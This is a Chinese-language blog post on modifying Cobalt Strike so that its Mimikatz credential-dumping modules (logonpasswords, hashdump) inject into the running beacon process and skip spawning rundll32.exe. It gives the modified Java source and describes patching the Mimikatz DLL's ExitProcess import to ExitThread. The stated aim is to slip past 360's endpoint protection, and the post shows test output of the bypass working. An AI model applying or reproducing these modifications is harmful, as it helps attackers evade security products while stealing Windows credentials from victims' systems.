众所周知,Cobalt Strike的一些功能模块都是用spawn的方法实现,其原理就是启动一个进程,然后对该进程进行功能模块dll反射注入,默认profile下是启动rundll32.exe这个进程,这种行为在数字的核晶模式下是会被拦截的。前两天刚好在吐司看到一篇文章有讲到,修改Cobalt Strike的源码将spawn的方式修改为inject的方法是可以bypass数字核晶的,因为将Cobalt Strike内置的功能模块dll注入到当前进程就没有新启进程的行为。本文结合上述文章并在@wonderkun师傅的帮助下得到了一个更好的修改方案。

功能模块分析

Cobalt Strike常见的功能如:logonpasswordshashdump等功能在jar代码实现是beacon.TaskBeacon.class

logonpasswords为例,最终定位到如下代码处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public void LogonPasswords()
{
MimikatzSmall("sekurlsa::logonpasswords");
}

public void MimikatzSmall(String paramString)
{
for (int i = 0; i < this.bids.length; i++)
{
BeaconEntry localBeaconEntry = DataUtils.getBeacon(this.data, this.bids[i]);
if (localBeaconEntry.is64()) {
new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x64");
} else {
new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x86");
}
}
}

MimikatzSmall方法中,根据目标系统版本进行spawn。跟进到MimikatzJobSmall方法,最后rdi的是mimikatz-min.x64.dll或者mimikatz-min.x86.dll这个dll。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class MimikatzJobSmall
extends MimikatzJob
{
public MimikatzJobSmall(TaskBeacon paramTaskBeacon, String paramString)
{
super(paramTaskBeacon, paramString);
}

public String getDLLName()
{
if (this.arch.equals("x64")) {
return "resources/mimikatz-min.x64.dll";
}
return "resources/mimikatz-min.x86.dll";
}
}

修改Java

只需要将spawn方法修改inject方法即可,jar里实现的inject方法的需要传入pid,因为我们是注入当前进程,所以需要通过jar里实现的方法去获取当前进程的pid。另外需要注意的就是下面代码中的localBeaconEntry.arch()获取是当前进程的位数,而原来代码里的localBeaconEntry.is64()获取系统的位数。因为我们用到的是inject,所以需要在x64的进程中注入x64的dll,x86的dll中注入x86的dll。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void MimikatzSmall(String paramString)
{
for (int i = 0; i < this.bids.length; i++)
{
BeaconEntry localBeaconEntry = DataUtils.getBeacon(this.data, this.bids[i]);
int PID = CommonUtils.toNumber(localBeaconEntry.getPid(), 0);
if ("x64".equals(localBeaconEntry.arch())) {
new MimikatzJobSmall(this, paramString).inject(PID, "x64");
//new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x64");
} else {
new MimikatzJobSmall(this, paramString).inject(PID, "x86");
//new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x86");
}
}
}

DLL加解密

因为Cobalt Strike中的DLL是加密的,需要进行解密才能对其dll进行修改。相关操作这里就不再详细说了。

具体可以参考:https://github.com/lovechoudoufu/cobaltstrike4.4_cdf#dll%E4%BF%AE%E6%94%B9

修改相应的DLL

logonpasswords为例,最后rdi的是mimikatz-min.x64.dll或者mimikatz-min.x86.dll这个dll。ida看一下这个dll,可以看到DLL的核心功能是在dllmain中完成的,调用功能函数之后,会直接调用ExitProcess 退出了进程。

这对于spawn方法是没有问题的,因为是新启动的rundll32.exe进程,执行完功能之后执行ExitProcess退出,但是被改成inject之后就有问题了,因为是在当前beacon进程空间中执行的,所以执行完功能会到导致当前的beacon进程挂掉。所以我们直接patch掉这个对ExitProcess的调用就可以了,但是看了一下对ExitProcess的调用是有多处的,一个一个patch太麻烦了。

所以这里有个更好的方法,就是直接把 ExitProcess修改为ExitThread方法 。由于当前的dll是被inject方法调用起来的,是在当前进程空间新启动的线程,所以当前进程挂掉之后,beacon进程的主线程不会受到影响。这里利用 CFF Explorer 修改导入表就可以了。

然后再用ida打开,发现调用的就是ExitThread了。

测试

将dll和java修改完后,直接替换jar里的即可。简单测试一下是否过数字核晶。

我们直接执行mimikatz coffee命令,这里的mimikatzlogonpasswords调用的是不同的两个dll,其中logonpasswords是用inject方法,而mimikatz coffee未做修改,用的spawn方法。可以看到未修改的被拦截了,而修改过的成功执行回显。

image-20220507213415129

image-20220507213535465

BUG

如果我们上线的进程为x86的进程,而目标系统位数为x64位,此时我们执行logonpasswords,会对其x86进程注入x86的dll。此时会报错,报错内容为:

1
ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process

这主要是内置的mimikatz的dll存在问题,msf中的mimikatz也会存在这个问题。因为目标系统为x64,所以需要一个x64的进程来注入x64的dll,即可。

参考文章

https://www.t00ls.cc/viewthread.php?tid=65597